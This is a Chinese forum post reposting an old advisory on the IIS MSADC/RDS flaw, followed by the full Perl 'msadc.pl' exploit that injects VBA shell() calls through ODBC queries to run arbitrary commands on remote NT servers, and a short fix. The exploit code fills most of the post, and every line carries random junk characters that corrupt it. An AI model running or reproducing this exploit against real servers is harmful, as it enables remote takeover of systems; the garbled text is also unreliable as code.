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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) q'  _  
pjjs'A*y  
涉及程序: wx<5*8zP  
Microsoft NT server LjxTRtB_  
1<bSHn9  
描述: z^Oiwzo  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 Z [68ji]  
jUBlIVl]  
详细: J )@x:,o  
如果你没有时间读详细内容的话,就删除: x%cKTpDh!  
c:\Program Files\Common Files\System\Msadc\msadcs.dll %pTbJaM\U  
有关的安全问题就没有了。 0FEb[+N  
QbOm JQ  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 QD\S E  
6@Eip[e  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ~jF5%Gu  
关于利用ODBC远程漏洞的描述,请参看: -#)xe W.d  
p9l&K/  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm G V0q?  
:hxfd b-  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 BMFpkK9|  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp I"<~!krt%  
ps<JKHC/c  
这里不再论述。 |mmIu_  
?P"ht  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: /V&$SRdL*  
3=;iC6 `  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset W-Hw%bwN/q  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! VZ_ 4B *D  
p?Yovckm  
&Hh%pY"  
#将下面这段保存为txt文件,然后: "perl -x 文件名" (`>4~?|+T  
27,WP-qie  
#!perl U R@'J@V#:  
# -*?a*q/#nQ  
# MSADC/RDS 'usage' (aka exploit) script ,$}v_-:[l  
# go{'mX)}u  
# by rain.forest.puppy u\=Nu4)Z F  
# 7 F+w o  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me C(W?)6?  
# beta test and find errors! 1j0yON  
=>S5}6  
use Socket; use Getopt::Std; O-  r"G  
getopts("e:vd:h:XR", \%args); [@>Kd`!'  
zFQxW4G  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; /6L\`\g  
;O{AYF?,N  
if (!defined $args{h} && !defined $args{R}) { *h-nI=  
print qq~ W.0dGUi*  
Usage: msadc.pl -h <host> { -d <delay> -X -v } VQqEsnkz  
-h <host> = host you want to scan (ip or domain) Gi;e Drgj~  
-d <seconds> = delay between calls, default 1 second }Qg9l|  
-X = dump Index Server path table, if available 4P2)fLmc  
-v = verbose $:mCyP<y  
-e = external dictionary file for step 5 }.` ycLW'  
. 1?AU 6\  
Or a -R will resume a command session lza'l  
j##IJm  
~; exit;} GHYgSS  
hiP^*5h  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; N],A&}30  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} vK2L"e  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} K mL PWj  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); "p$`CUtI  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} ] J:^$]  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } hnG'L*HooE  
*W# x#0j  
if (!defined $args{R}){ $ret = &has_msadc; 9>%f99n  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} PlBT H  
'SOp!h$  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ULQ*cW&;?  
. "cmd /c "; ApS/,cV  
$in=<STDIN>; chomp $in; P8;|>OLZ)  
$command="cmd /c " . $in ; W@pVP4F0xM  
2/>AmVM  
if (defined $args{R}) {&load; exit;} VN`2bp>5I  
SjG=H%  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; {\lu; b!  
&try_btcustmr; 4[+n;OI  
-?'u"*#1,  
print "\nStep 2: Trying to make our own DSN..."; vco:6Ab$  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; )v ['p  
ZH~m%sA  
print "\nStep 3: Trying known DSNs..."; Hyq| %\A  
&known_dsn; CQ3;NY=o  
}$iH 3#E8  
print "\nStep 4: Trying known .mdbs..."; *qKwu?]?>  
&known_mdb; KvktC|~?  
GH^i,88  
if (defined $args{e}){ 46}/C5  
print "\nStep 5: Trying dictionary of DSN names..."; PtmdUHvD  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } }bix+/]  
Eiz\Nb  
print "Sorry Charley...maybe next time?\n"; LFg<j1Gk`  
exit; N}\$i&Vi  
3go!P])  
############################################################################## rq2XFSXn  
F(@|p]3*  
sub sendraw { # ripped and modded from whisker p,ZubR J"  
sleep($delay); # it's a DoS on the server! At least on mine... wf8vKl#Kfw  
my ($pstr)=@_; -+ $u  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Mgf80r=  
die("Socket problems\n"); hDVD@b  
if(connect(S,pack "SnA4x8",2,80,$target)){ M,cI0i  
select(S); $|=1; MLa]s* ; d  
print $pstr; my @in=<S>; P1z6 sG G  
select(STDOUT); close(S); `db++Z'C  
return @in; OL=IUg"  
} else { die("Can't connect...\n"); }} $@Hw DRP  
p?8> 9  
############################################################################## `\O[9.B  
u5T \_0  
sub make_header { # make the HTTP request %2/WyD$U  
my $msadc=<<EOT D~2,0K  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ?]$.3azO  
User-Agent: ACTIVEDATA m,)Re8W-  
Host: $ip (Dc dR:/=  
Content-Length: $clen ^B]M- XG  
Connection: Keep-Alive inR8m 4c]P  
hQHV]xW  
ADCClientVersion:01.06 zPhNV8k-  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 zif()i   
y . AN0  
--!ADM!ROX!YOUR!WORLD! zjVb+Z\n  
Content-Type: application/x-varg SznNvd <  
Content-Length: $reqlen ^@L  
B;?a. 81~  
EOT $,'r} %  
; $msadc=~s/\n/\r\n/g; I#$u(2.H  
return $msadc;} CIYD'zR[2  
]iPTB  
############################################################################## _0Wd m*  
-,zNFC:6g  
sub make_req { # make the RDS request !~>u\h  
my ($switch, $p1, $p2)=@_; :Wb+&|dU  
my $req=""; my $t1, $t2, $query, $dsn; S }fIZ1  
6=|Q>[K  
if ($switch==1){ # this is the btcustmr.mdb query @8V8gV? zm  
$query="Select * from Customers where City=" . make_shell(); '4N[bRCn  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .  (lt/ t  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} U/{cYX  
)RA7Y}e|m  
elsif ($switch==2){ # this is general make table query nFxogCn   
$query="create table AZZ (B int, C varchar(10))"; t%N#Yh!  
$dsn="$p1";} %H%>6z x  
F+c*v#T  
elsif ($switch==3){ # this is general exploit table query  ) VJ|  
$query="select * from AZZ where C=" . make_shell(); {e>}.R  
$dsn="$p1";} s_E iA _  
Udd|.JRd  
elsif ($switch==4){ # attempt to hork file info from index server X*d,z~k%*d  
$query="select path from scope()"; @0Tm>s  
$dsn="Provider=MSIDXS;";} [&)9|EV  
bYow EzieF  
elsif ($switch==5){ # bad query *-` /A  
$query="select"; m#'u;GP]k  
$dsn="$p1";} ii{5z;I]X  
2/(gf[elX  
$t1= make_unicode($query); tPFV6n i  
$t2= make_unicode($dsn); ;QW)tv.y  
$req = "\x02\x00\x03\x00"; 3%k@,Vvt  
$req.= "\x08\x00" . pack ("S1", length($t1)); FnL~8otPF'  
$req.= "\x00\x00" . $t1 ; qRB&R$  
$req.= "\x08\x00" . pack ("S1", length($t2)); Wp T.25  
$req.= "\x00\x00" . $t2 ; `[Z?&'CRQ  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; oh,Nu_!  
return $req;} IsnC_"f  
S@T> u,t'  
############################################################################## O+z-6:`  
^Z2%b>  
sub make_shell { # this makes the shell() statement udW, P  
return "'|shell(\"$command\")|'";} =p^*y-z  
[.|tD  
############################################################################## a-8~f8na{(  
]Alu~Dw  
sub make_unicode { # quick little function to convert to unicode U4^dDj  
my ($in)=@_; my $out; rK)%n!Z  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 7F.>M  
return $out;} #WfJz}P,!  
Neey myW  
############################################################################## sF(U?)48  
K;S&91V)=  
sub rdo_success { # checks for RDO return success (this is kludge) $6ITa}o  
my (@in) = @_; my $base=content_start(@in); KRm4r  
if($in[$base]=~/multipart\/mixed/){ >Li ~Og@  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} [wIyW/+  
return 0;} >(d+E\!A  
NoiU5pP  
############################################################################## 1~ZDHfd5  
^c.b@BE  
sub make_dsn { # this makes a DSN for us SE%i@}  
my @drives=("c","d","e","f"); iTxn  
print "\nMaking DSN: "; Fda<cS]  
foreach $drive (@drives) { cUS2* 7h  
print "$drive: "; w;{k\=W3Ff  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . "52wa<MV J  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" :i?Z1x1`  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); OJ] {FI  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ITq+Hk R  
return 0 if $2 eq "404"; # not found/doesn't exist Auv/w}zrr  
if($2 eq "200") { ?Cmb3pX^\  
foreach $line (@results) { !)_5z<  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} l,sYYU+iY  
} return 0;} $F\&?B1.  
%Sxy!gGz%%  
############################################################################## \h _hd%'G  
${e(#bvGZ  
sub verify_exists { 5C{X$7u  
my ($page)=@_; 0.&gm@A~c$  
my @results=sendraw("GET $page HTTP/1.0\n\n"); yvNYYp2r  
return $results[0];} @WFjM  
aLq=%fsV)  
############################################################################## L'z?M]  
r}03&h~Hc&  
sub try_btcustmr { QT^( oog=  
my @drives=("c","d","e","f"); I]ywO4  
my @dirs=("winnt","winnt35","winnt351","win","windows"); zXZy:SD  
:sM|~gT  
foreach $dir (@dirs) { ("mW=Ln  
print "$dir -> "; # fun status so you can see progress 2yeq2v   
foreach $drive (@drives) { !YAkHrF`[0  
print "$drive: "; # ditto uA\A4  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; v }P~g  
$reqlenlen=length( "$reqlen" ); c S{l2}E  
$clen= 206 + $reqlenlen + $reqlen; iHQFieZ.E  
I%{U~  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); KAEf4/  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} cF,u)+2b|6  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} D {>, 2hC  
0Wv9K~F  
############################################################################## nLT]'B]$ +  
nc@ul')  
sub odbc_error { -cIc&5CS  
my (@in)=@_; my $base; yf_<o   
my $base = content_start(@in); '_(oa<g  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this QZQ@C#PR;  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ;|9VPv/  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; o)1wF X  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; lywcT! <  
return $in[$base+4].$in[$base+5].$in[$base+6];} 1\zI#"b ^  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; Zj`eR\7~  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . TX;OA"3=\-  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} %'^m6^g;  
.8.ivfmJh  
############################################################################## ) @))3  
?86h:9  
sub verbose { Bg7?1m  
my ($in)=@_; <J`_Qc8C  
return if !$verbose; {"4t`dM  
print STDOUT "\n$in\n";} gxt2Mq;q~}  
SHz& o[u  
############################################################################## eb.`Q+Gb  
{ SK8Mdn  
sub save { *7!}[ v_  
my ($p1, $p2, $p3, $p4)=@_; u%ih7v!r\  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; <&W3\/xx  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; MZ0uc2L=  
close OUT;} 0r+-}5aSl5  
d7KeJ$xy}p  
############################################################################## y0A2{'w  
Z AZQFr'*  
sub load { B[b'OtH  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; i?*&1i@  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); h1)p{ 5}H  
@p=<IN>; close(IN); 1F[; )@  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); {n.g7S~  
$target= inet_aton($ip) || die("inet_aton problems"); HjnHl-  
print "Resuming to $ip ..."; -pkeEuwv{  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; azOp53zR  
if($p[1]==1) { Q5ohaxjF  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; S5bk<8aPP  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; KHF5Nt  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); <<n8P5pXt  
if (rdo_success(@results)){print "Success!\n";} KJ'MK~g  
else { print "failed\n"; verbose(odbc_error(@results));}} HJ_xg6.x  
elsif ($p[1]==3){ ?A2EuvQH]  
if(run_query("$p[3]")){ =X% D;2  
print "Success!\n";} else { print "failed\n"; }} hM>xe8yE  
elsif ($p[1]==4){ x-%nnC6e  
if(run_query($drvst . "$p[3]")){ h"ZF,g;a  
print "Success!\n"; } else { print "failed\n"; }} d@#=cvW  
exit;} ed\,FWR  
'7_'s1  
############################################################################## _^&oNm1  
y>wr $  
sub create_table { D8Ni=.ALL  
my ($in)=@_; s,` n=#  
$reqlen=length( make_req(2,$in,"") ) - 28; +{Q\B}3cj1  
$reqlenlen=length( "$reqlen" ); K8e>sU.  
$clen= 206 + $reqlenlen + $reqlen; |wK)(s  
my @results=sendraw(make_header() . make_req(2,$in,"")); cH2 nG:H  
return 1 if rdo_success(@results); [nG/>Z]W  
my $temp= odbc_error(@results); verbose($temp); iW |]-Ba\  
return 1 if $temp=~/Table 'AZZ' already exists/; Az0Yt31=  
return 0;} j}h50*6KO  
a&Z|3+ZA  
############################################################################## m=%W<8[V  
)[qY|yu  
sub known_dsn { Z.YsxbH3  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go NK,)"WE  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", ugMJ}IGq  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", =E |[8 U)  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); tx5@r;  
gs0,-)  
foreach $dSn (@dsns) { KZD&Ih(vC  
print "."; ,[cWG)-  
next if (!is_access("DSN=$dSn")); gB kb0  
if(create_table("DSN=$dSn")){ %M'"%Yn@(y  
print "$dSn successful\n"; X}p4yR7'  
if(run_query("DSN=$dSn")){ BAzqdG  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { lkw[Z}\  
print "Something's borked. Use verbose next time\n";}}} print "\n";} Li<c  
k$I[F<f  
############################################################################## yChC&kX Z+  
7a@V2cr@  
sub is_access { ,ew<T{PL  
my ($in)=@_; uy`U1>  
$reqlen=length( make_req(5,$in,"") ) - 28; '# (lq5 c  
$reqlenlen=length( "$reqlen" ); 's&Vg09D,  
$clen= 206 + $reqlenlen + $reqlen; '*)!&4f  
my @results=sendraw(make_header() . make_req(5,$in,"")); U?>zq!C&R  
my $temp= odbc_error(@results); ;#f%vs>Y7i  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); faMUd#o&  
return 0;} *23  
)03.6 Pvs  
############################################################################## ODEy2).  
*wh'4i}u  
sub run_query { y& Dd  
my ($in)=@_; 8mCr6$|%  
$reqlen=length( make_req(3,$in,"") ) - 28; ybYSz@7  
$reqlenlen=length( "$reqlen" ); MTLcLmdO  
$clen= 206 + $reqlenlen + $reqlen; v,>q]! |a  
my @results=sendraw(make_header() . make_req(3,$in,"")); br'~SXl  
return 1 if rdo_success(@results); P *%bG 4  
my $temp= odbc_error(@results); verbose($temp); YjdH7.js  
return 0;} poXkH@[O  
`5!7Il  
############################################################################## S3 x:]E:   
?*4]LuK6  
sub known_mdb { LO` (V  
my @drives=("c","d","e","f","g"); =U,;/f  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Ylo@  
my $dir, $drive, $mdb; kMI\GQW  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; qBCZ)JEN#U  
Sb,{+Wk  
# this is sparse, because I don't know of many RNi&OG(  
my @sysmdbs=( "\\catroot\\icatalog.mdb", KTf!Pf?g  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 2etlR  
"\\system32\\certmdb.mdb", T /] ayc:  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% QQrvT,]  
^[ id8  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 4|XE f,  
"\\cfusion\\cfapps\\forums\\forums_.mdb", hs/nM"V  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", +x+H(of.  
"\\cfusion\\cfapps\\security\\realm_.mdb", "bw4 {pa+  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", m6 IZG l7%  
"\\cfusion\\database\\cfexamples.mdb", kSI,Q!e\  
"\\cfusion\\database\\cfsnippets.mdb", j l7e6#zu  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", EoOrA@N  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", (tVY /(~#  
"\\cfusion\\brighttiger\\database\\cleam.mdb", IE,g  
"\\cfusion\\database\\smpolicy.mdb", [n< U>up  
"\\cfusion\\database\cypress.mdb", y ruN5  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 'z!I#Y!Y  
"\\website\\cgi-win\\dbsample.mdb", BJ&>'rc  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", pq4+n'uO  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" [&Qrk8EN  
); #these are just (Ojg~P4;&  
foreach $drive (@drives) { Dnd  
foreach $dir (@dirs){ s"sX# l[J  
foreach $mdb (@sysmdbs) { g@1MIm c'!  
print "."; #z5'5|3  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ {AcKBi b  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; f'#7i@Je  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ O %)+ w  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; F*]AjD-  
} else { print "Something's borked. Use verbose next time\n"; }}}}} $jw!DrE  
^&cI+xZ2Y  
foreach $drive (@drives) { mBnC]$<R  
foreach $mdb (@mdbs) { uF< F4m;  
print "."; @V<tg"(c  
if(create_table($drv . $drive . $dir . $mdb)){ NghQ#c  
print "\n" . $drive . $dir . $mdb . " successful\n"; 2+Fq'!  
if(run_query($drv . $drive . $dir . $mdb)){ >\@6i s  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; gbI0?G6XN/  
} else { print "Something's borked. Use verbose next time\n"; }}}} Fa>Y]Y0r  
} @c{Z?>dUc#  
31bKgU{  
############################################################################## Q)Ppx7)  
NIYAcLa@n8  
sub hork_idx { ^K;,,s;0  
print "\nAttempting to dump Index Server tables...\n"; 9MGA#a  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 73]%^kx=  
$reqlen=length( make_req(4,"","") ) - 28; %n-LDn  
$reqlenlen=length( "$reqlen" ); yyiZV\ /  
$clen= 206 + $reqlenlen + $reqlen; [F6=JZ  
my @results=sendraw2(make_header() . make_req(4,"","")); @B1rtw6  
if (rdo_success(@results)){ 5))?,YkrrI  
my $max=@results; my $c; my %d; |5Z@7  
for($c=19; $c<$max; $c++){ no;Yu  
$results[$c]=~s/\x00//g; 9|OQHy  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; ^:DlrI$  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; - +>~  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 9g 2x+@5T^  
$d{"$1$2"}="";} Z9!goI  
foreach $c (keys %d){ print "$c\n"; } y`\/eX  
} else {print "Index server doesn't seem to be installed.\n"; }} xXHz)w  
{N _v4})  
############################################################################## ,ciNoP*-~%  
(-~tb-  
sub dsn_dict { MiRMjQ2  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ^ ]`<nO  
while(<IN>){ qdcCX:Z<  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; d/* [t!   
next if (!is_access("DSN=$dSn")); w0 "h,{  
if(create_table("DSN=$dSn")){ m&; t;&#  
print "$dSn successful\n"; >~ne(n4qy  
if(run_query("DSN=$dSn")){ |7f}icXKur  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { "e(OO/EZS  
print "Something's borked. Use verbose next time\n";}}} ss-Be  
print "\n"; close(IN);} Q[g%((DL  
@gTpiV2  
############################################################################## 5V%K'a(  
<'s1+^LC  
sub sendraw2 { # ripped and modded from whisker N;ssO,  
sleep($delay); # it's a DoS on the server! At least on mine... X|8Y z3:o  
my ($pstr)=@_; w0Us8JNGz  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Gb8LW,$IT-  
die("Socket problems\n"); e[{LNM{/#  
if(connect(S,pack "SnA4x8",2,80,$target)){ C \}m_`MR  
print "Connected. Getting data"; X1A;MA@0Ro  
open(OUT,">raw.out"); my @in; Que)kjp  
select(S); $|=1; print $pstr; SYl :X   
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} v 7Pv&|  
close(OUT); select(STDOUT); close(S); return @in; 2-{8+*_'  
} else { die("Can't connect...\n"); }} /'ybl^Km  
bC)<AG@Z\  
############################################################################## C#vh2'  
FUHa"$Bg  
sub content_start { # this will take in the server headers jMd's|#OP  
my (@in)=@_; my $c; k*^.-v  
for ($c=1;$c<500;$c++) { JRl8S   
if($in[$c] =~/^\x0d\x0a/){ ayC*n'  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ;/e!!P]jP  
else { return $c+1; }}} A03PEaZO  
return -1;} # it should never get here actually *rW]HNz  
ko  ~iDT  
############################################################################## } |sP;Rpu  
[q_Yf!(m-  
sub funky { ~6@~fhu  
my (@in)=@_; my $error=odbc_error(@in); ?VReKv1\  
if($error=~/ADO could not find the specified provider/){ f^0vkWI2  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; bZ%[ON5OY  
exit;} NB16O !r  
if($error=~/A Handler is required/){ q9!5J2P  
print "\nServer has custom handler filters (they most likely are patched)\n"; VEz&TPu  
exit;} GJ?rqmbL  
if($error=~/specified Handler has denied Access/){ Pyk~V)~M  
print "\nServer has custom handler filters (they most likely are patched)\n"; ku`'w;5jT  
exit;}} v< ;, x  
sPbtv[bC  
############################################################################## cZ o]*Gv.  
e6{/e+/R  
sub has_msadc { VsUEp_I  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); '!En,*'IS  
my $base=content_start(@results); "jAV7lP  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); S _#UEf  
return 0;} lt(,/  
(|bht0  
######################## zW+Y{^hf  
rLP4l~V   
 rro,AS}  
解决方案: 7tfFRUw  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll pk"JcUzR  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 IO,kP`Wcx  
l<v /T  
拿出来充数 哈哈
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